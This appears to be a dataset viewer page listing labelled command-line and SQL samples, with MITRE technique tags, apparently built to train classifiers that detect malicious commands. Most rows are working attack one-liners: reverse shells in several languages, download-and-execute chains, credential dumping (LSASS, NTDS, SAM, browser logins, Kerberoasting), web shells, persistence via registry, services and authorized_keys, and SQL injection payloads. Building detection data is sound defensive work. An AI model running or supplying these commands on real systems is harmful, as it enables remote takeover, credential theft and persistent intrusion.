text stringlengths 4 527 | label stringclasses 7
values | label_id int64 0 6 | language stringclasses 5
values | mitre_technique stringclasses 83
values | template_id stringclasses 377
values |
|---|---|---|---|---|---|
/bin/sh -i 5<> /dev/tcp/192.0.2.161/8080 0<&5 1>&5 2>&5 | reverse_shell | 3 | bash | T1059.004 | reverse_shell-031 |
telnet 192.0.2.231 6178 | /bin/bash | telnet 192.0.2.231 8080 | reverse_shell | 3 | bash | T1059.004 | reverse_shell-017 |
%admin'-- /* | sql_injection | 6 | sql | T1190 | sql_injection-002 |
UnLoCK-ADACcounT -IdENtity ALiCE | benign | 0 | powershell | null | benign-116 |
' aND 1=CoNvErT(int,(SeleCT TOP 1 naME From sYsobjEcts WhERe xType='U'))-- | sql_injection | 6 | sql | T1190 | sql_injection-009 |
curl http://203.0.113.148/health13.sh -o /tmp/health13.sh; bash /tmp/health13.sh | download_execute | 5 | bash | T1105 | download_execute-028 |
mknod /tmp/x p; /bin/sh 0</tmp/x | nc 203.0.113.58 53 1>/tmp/x | reverse_shell | 3 | bash | T1059.004 | reverse_shell-006 |
impacket-GetUserSPNs ad.example.org/alice:'Passw0rd1' -dc-ip 192.0.2.29 -request | credential_harvesting | 2 | bash | T1558.003 | credential_harvesting-015 |
SELECT username, password, email FROM invoices INTO OUTFILE '/var/www/html/a.txt'; | credential_harvesting | 2 | sql | T1555 | credential_harvesting-040 |
useradd -m -G sudo -s /bin/bash support && echo 'support:P@ssw0rd!' | chpasswd | persistence | 4 | bash | T1136.001 | persistence-038 |
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('203.0.113.81',53);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}" | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-020 |
git log -p | grep -iE 'password|secret|api_key' | head -n 38 | credential_harvesting | 2 | bash | T1552.001 | credential_harvesting-050 |
$sm=(New-Object Net.Sockets.TCPClient('198.51.100.78',443)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-047 |
$sm=(New-Object Net.Sockets.TCPClient('198.51.100.33',80)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-047 |
nTdSutil "ac i ntds" "IFm" "CReatE FUll C:\Temp\Health" q q | credential_harvesting | 2 | cmd | T1003.003 | credential_harvesting-030 |
sudo uname -a; cat /etc/*-release; hostname; w; last -n 9 | reconnaissance | 1 | bash | T1082 | reconnaissance-062 |
\\192.0.2.109\share\out.exe | download_execute | 5 | cmd | T1105 | download_execute-050 |
ncat --ssl 198.51.100.75 443 -e /bin/bash | reverse_shell | 3 | bash | T1059.004 | reverse_shell-036 |
gcore -o /tmp/a31 $(pgrep -f sshd | head -1) && strings /tmp/a31* | grep -i password | credential_harvesting | 2 | bash | T1003.007 | credential_harvesting-044 |
C:\Users\Public\nc64.exe 198.51.100.127 23148 -e powershell.exe | reverse_shell | 3 | cmd | T1059.003 | reverse_shell-051 |
crackmapexec smb 198.51.100.0/24 -u ec2-user -p passwords.txt --continue-on-success | credential_harvesting | 2 | bash | T1110.003 | credential_harvesting-017 |
tYpE C:\InetpUb\wwwRoot\web.confIg | findstr cONnecTionSTrinG | credential_harvesting | 2 | cmd | T1552.001 | credential_harvesting-073 |
powershell.exe -Command "iwr http://198.51.100.207/x8.ps1 -useb | iex" | download_execute | 5 | powershell | T1059.001 | download_execute-037 |
echo '<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe","/c "+Request["c"]); %>' > /var/www/html/svc39.aspx | persistence | 4 | bash | T1505.003 | persistence-040 |
CREATE EVENT sysupdate ON SCHEDULE EVERY 1 MINUTE DO SELECT sys_exec('/tmp/.update37'); | persistence | 4 | sql | T1053 | persistence-056 |
AbcSeLECT * FrOM users wheRE usErnaMe = '' OR '1'='1' AND paSSworD = '' OR '1'='1';# | sql_injection | 6 | sql | T1190 | sql_injection-019 |
TeSt" OR 1=1 -- /* | sql_injection | 6 | sql | T1190 | sql_injection-027 |
Get-GPPPaSSworD | credential_harvesting | 2 | powershell | T1552.006 | credential_harvesting-026 |
nmap -sU --top-ports 100 192.0.2.10 | reconnaissance | 1 | bash | T1046 | reconnaissance-046 |
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe,C:\ProgramData\x74.exe" /f | persistence | 4 | cmd | T1547.004 | persistence-024 |
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\conf" q q | credential_harvesting | 2 | cmd | T1003.003 | credential_harvesting-030 |
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'dbus-helper' -Value 'powershell -w hidden -nop -c IEX(IWR http://198.51.100.217/install95.ps1)' | persistence | 4 | powershell | T1547.001 | persistence-013 |
EXEC xp_cmdshell 'C:\Users\Public\nc.exe 203.0.113.200 53 -e cmd.exe'; | reverse_shell | 3 | sql | T1505.001 | reverse_shell-054 |
cmd.exe /c "regsvr32 /s /u /i:https://cdn-update.example.com/kdev.sct scrobj.dll" | download_execute | 5 | cmd | T1218.010 | download_execute-045 |
printf '[Service]\nExecStart=/usr/local/bin/.install91\nRestart=always\n[Install]\nWantedBy=multi-user.target\n' > /etc/systemd/system/MicrosoftEdgeUpdate.service && systemctl enable --now MicrosoftEdgeUpdate | persistence | 4 | bash | T1543.002 | persistence-004 |
cmd.exe /c "sqldumper.exe 624 0 0x0110" | credential_harvesting | 2 | cmd | T1003.001 | credential_harvesting-072 |
echo 'alias ls="ls --color=auto; /tmp/.run28 &"' >> /home/ec2-user/.bashrc | persistence | 4 | bash | T1546.004 | persistence-035 |
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" $env:TEMP\agent2.db | credential_harvesting | 2 | powershell | T1555.003 | credential_harvesting-024 |
chown -R ec2-user:ec2-user /opt/app | benign | 0 | bash | null | benign-028 |
" oR ""="" | sql_injection | 6 | sql | T1190 | sql_injection-016 |
& "C:\Program Files\Microsoft Visual Studio\Common7\IDE\dump64.exe" (Get-Process lsass).Id C:\Temp\run53.dmp | credential_harvesting | 2 | powershell | T1003.001 | credential_harvesting-059 |
nikto -h http://192.0.2.108 | reconnaissance | 1 | bash | T1595 | reconnaissance-020 |
nikto -h http://198.51.100.139 | reconnaissance | 1 | bash | T1595 | reconnaissance-020 |
ldapsearch -x -H ldap://192.0.2.216 -b 'dc=corp,dc=example' '(objectClass=user)' sAMAccountName | reconnaissance | 1 | bash | T1590 | reconnaissance-058 |
echo '/tmp/.stage222 &' >> /etc/rc.local && chmod +x /etc/rc.local | persistence | 4 | bash | T1037.004 | persistence-009 |
openssl s_client -quiet -connect 192.0.2.228:53 | /bin/sh 2>&1 | openssl s_client -quiet -connect 192.0.2.228:9711 | reverse_shell | 3 | bash | T1059.004 | reverse_shell-016 |
nmap -sS -p- -T4 192.0.2.173 | reconnaissance | 1 | bash | T1046 | reconnaissance-000 |
mshta http://192.0.2.253:8080/data.hta | reverse_shell | 3 | cmd | T1218.005 | reverse_shell-027 |
CREATE TABLE accounts_archive AS SELECT * FROM accounts WHERE created_at < '2024-05-20'; | benign | 0 | sql | null | benign-140 |
ssh ubuntu@files12.service.example 'uptime' | benign | 0 | bash | null | benign-019 |
awk 'BEGIN {s = "/inet/tcp/0/203.0.113.114/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null | reverse_shell | 3 | bash | T1059 | reverse_shell-013 |
$sm=(New-Object Net.Sockets.TCPClient('203.0.113.59',8443)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-047 |
INSERT INTO invoices (username, password_hash, role) VALUES ('helpdesk$', '$2b$12$abcdefghijklmnopqrstuv', 'admin'); | persistence | 4 | sql | T1136 | persistence-057 |
SELECT COUNT(*) FROM products GROUP BY user_id HAVING COUNT(*) > 6; | benign | 0 | sql | null | benign-073 |
sudo enum4linux -a 203.0.113.82 | reconnaissance | 1 | bash | T1590 | reconnaissance-021 |
$x=[System.Net.WebRequest]::Create('http://198.51.100.45/lib');$r=New-Object IO.StreamReader($x.GetResponse().GetResponseStream());iex $r.ReadToEnd() | download_execute | 5 | powershell | T1059.001 | download_execute-042 |
SELECT username, password, email FROM users INTO OUTFILE '/var/www/html/x47.txt'; | credential_harvesting | 2 | sql | T1555 | credential_harvesting-040 |
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("cdn-deploy.contoso.test",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' | reverse_shell | 3 | bash | T1059.006 | reverse_shell-039 |
cmd.exe /c "powershell -c "(New-Object Net.WebClient).DownloadFile('http://192.0.2.246/agent6.exe','C:\Users\Public\agent6.exe')" && C:\Users\Public\agent6.exe" | download_execute | 5 | cmd | T1105 | download_execute-046 |
tasklist /v /fi "username ne NT AUTHORITY\SYSTEM" | reconnaissance | 1 | cmd | T1057 | reconnaissance-038 |
$cLieNt = NeW-ObjeCt SYsTeM.Net.SOckEtS.TCPCliENT('192.0.2.31',80);$STreaM = $cLiEnt.GeTStrEam();[bytE[]]$bYtes = 0..65535|%{0};while(($I = $stream.ReaD($bytes, 0, $BYTeS.LengTh)) -nE 0){;$DAtA = (NEw-Object -TYpeNamE System.TexT.ASCIIEncodIng).GeTStriNg($byTeS,0, $I);$sEndbAck = (Iex $DatA 2>&1 | OUt-StRiNG );$SEndBAC... | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-019 |
mysqldump -u frank -p customers > data.sql | benign | 0 | bash | null | benign-103 |
hydra -L users.txt -P passwords.txt ssh://192.0.2.153 -t 4 | credential_harvesting | 2 | bash | T1110.003 | credential_harvesting-016 |
cmd.exe /c "certutil.exe -urlcache -f http://203.0.113.1/payload.txt enc.txt && certutil -decode enc.txt payload.exe && payload.exe" | download_execute | 5 | cmd | T1105 | download_execute-044 |
([adsisearcher]'(&(objectCategory=user)(adminCount=1))').FindAll() | % { $_.Properties.samaccountname } | reconnaissance | 1 | powershell | T1087.002 | reconnaissance-075 |
echo 'nohup /tmp/.payload49 >/dev/null 2>&1 &' >> ~/.bashrc | persistence | 4 | bash | T1546.004 | persistence-005 |
" OR 1=1 -- -- | sql_injection | 6 | sql | T1190 | sql_injection-027 |
Cookie: session=update' OR '1'='1 | sql_injection | 6 | http | T1190 | sql_injection-046 |
Invoke-RestMethod -Uri https://api.example.com/v1/status -Method Get | benign | 0 | powershell | null | benign-050 |
certutil.exe -urlcache -f http://198.51.100.155/agent.txt enc.txt && certutil -decode enc.txt agent.exe && agent.exe | download_execute | 5 | cmd | T1105 | download_execute-044 |
Add-Content -Path $PROFILE -Value 'Start-Process -WindowStyle Hidden $env:APPDATA\lib16.exe' | persistence | 4 | powershell | T1546.013 | persistence-018 |
reg SAvE HKLM\SAM C:\WIndows\Temp\SAm.saVe & rEg save HKLM\SYSTEM C:\WIndOws\Temp\syStEM.sAve | credential_harvesting | 2 | cmd | T1003.002 | credential_harvesting-028 |
robocOpy C:\LoGS \\db12.exaMPLe.nEt\bAcKup /MIR /R:2 | benign | 0 | cmd | null | benign-064 |
Get-CoMputeRINFo; Get-HOtFIX | SorT-OBJEct INstalledON | reconnaissance | 1 | powershell | T1082 | reconnaissance-028 |
Invoke-KeRberoaSt -OutputFormat HaSHcaT | SeLect-ObjEct Hash | OUt-FilE run88.txt | credential_harvesting | 2 | powershell | T1558.003 | credential_harvesting-021 |
schtasks /create /tn "kworkerd" /tr "C:\ProgramData\data.exe" /sc onlogon /ru SYSTEM /f | persistence | 4 | cmd | T1053.005 | persistence-020 |
telnet 198.51.100.221 9001 | /bin/bash | telnet 198.51.100.221 8080 | reverse_shell | 3 | bash | T1059.004 | reverse_shell-017 |
sudo systemctl restart web | benign | 0 | bash | null | benign-005 |
tasklist /v /fi "username ne NT AUTHORITY\SYSTEM" | reconnaissance | 1 | cmd | T1057 | reconnaissance-038 |
netSH interface Ip shOw COnFiG & NeTSh wLAN shoW prOfIlEs | reconnaissance | 1 | cmd | T1016 | reconnaissance-089 |
curl -s http://192.0.2.54/k.pub >> ~/.ssh/authorized_keys | persistence | 4 | bash | T1098.004 | persistence-032 |
telnet 192.0.2.116 8443 | /bin/bash | telnet 192.0.2.116 34058 | reverse_shell | 3 | bash | T1059.004 | reverse_shell-017 |
cd /var/www/app && git pull origin main | benign | 0 | bash | null | benign-001 |
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('198.51.100.78',5555);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}" | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-020 |
scp www-data@198.51.100.41:/srv/update21 /tmp/ && chmod +x /tmp/update21 && /tmp/update21 | download_execute | 5 | bash | T1105 | download_execute-033 |
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File update67.txt | credential_harvesting | 2 | powershell | T1558.003 | credential_harvesting-021 |
ALTER TABLE orders ADD COLUMN region VARCHAR(255); | benign | 0 | sql | null | benign-076 |
cmd.exe /c "\\203.0.113.56\share\svc.exe" | download_execute | 5 | cmd | T1105 | download_execute-050 |
' GROUP BY created_at HAVING 1=1-- -- | sql_injection | 6 | sql | T1190 | sql_injection-043 |
Get-ChildItem -Path \\app13.service.example\C$ -Recurse -ErrorAction SilentlyContinue | reconnaissance | 1 | powershell | T1083 | reconnaissance-078 |
X38' UnIOn SELeCt NULl,usErName,passWorD FROm uSers-- - -- | sql_injection | 6 | sql | T1190 | sql_injection-003 |
041'+AND+BENCHMARK(5000000,MD5('a'))--+-+--+ | sql_injection | 6 | sql | T1190 | sql_injection-036 |
nEt sharE & Net SEssIon & net view \\weB20.service.exaMPLE | reconnaissance | 1 | cmd | T1135 | reconnaissance-084 |
socat TCP:203.0.113.251:1337 EXEC:sh | reverse_shell | 3 | bash | T1059.004 | reverse_shell-037 |
nmap -sU --top-ports 100 203.0.113.15 | reconnaissance | 1 | bash | T1046 | reconnaissance-046 |
cmd.exe /c "ntdsutil "ac i ntds" "ifm" "create full C:\Temp\health" q q" | credential_harvesting | 2 | cmd | T1003.003 | credential_harvesting-030 |
cat /tmp/stage261.pub >> /home/carol/.ssh/authorized_keys | persistence | 4 | bash | T1098.004 | persistence-031 |
echo Y3VybCAtcyBodHRwOi8vMjAzLjAuMTEzLjI1NC9jb25mLnNoIHwgYmFzaA== | base64 -d | sh | download_execute | 5 | bash | T1027 | download_execute-009 |
%1;SELECT pg_sleep(15);%00 | sql_injection | 6 | sql | T1190 | sql_injection-041 |
testSELECT%20*%20FROM%20users%20WHERE%20username%20=%20''%20OR%20'1'='1'%20AND%20password%20=%20''%20OR%20'1'='1';/* | sql_injection | 6 | sql | T1190 | sql_injection-019 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.